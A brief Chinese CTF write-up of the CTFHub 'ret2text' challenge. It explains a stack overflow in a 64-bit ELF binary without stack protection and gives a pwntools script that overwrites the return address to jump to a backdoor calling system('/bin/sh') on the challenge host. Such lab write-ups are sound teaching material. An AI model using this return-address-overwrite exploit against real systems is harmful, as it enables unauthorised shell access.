ret2text
下载下来发现是一个文件,通过file命令得知
是一个动态编译的64位elf程序
checksec结果如下:
运行程序,提示"Welcome to CTFHub ret2text.Input someting:"
输入完之后,提示我们"bye"
IDA反汇编,main函数如下:
v4存在栈溢出
发现程序还有一个secure函数,内容如下:
存在后门函数
程序无栈防护措施,我们便可以直接覆盖掉main函数的返回地址,使其指向后门函数
后门函数地址如下:
我们可以跳到0x4007B8处,将"/bin/sh"传给rdi之后调用_system
所以exp脚本如下:
from pwn import * #io = process('/pwn') io = connect('challenge-1f898008837a935f.sandbox.ctfhub.com', 29552) payload = b'a'*0x78 + p64(0x4007b8) io.sendlineafter('someting:', payload) io.interactive()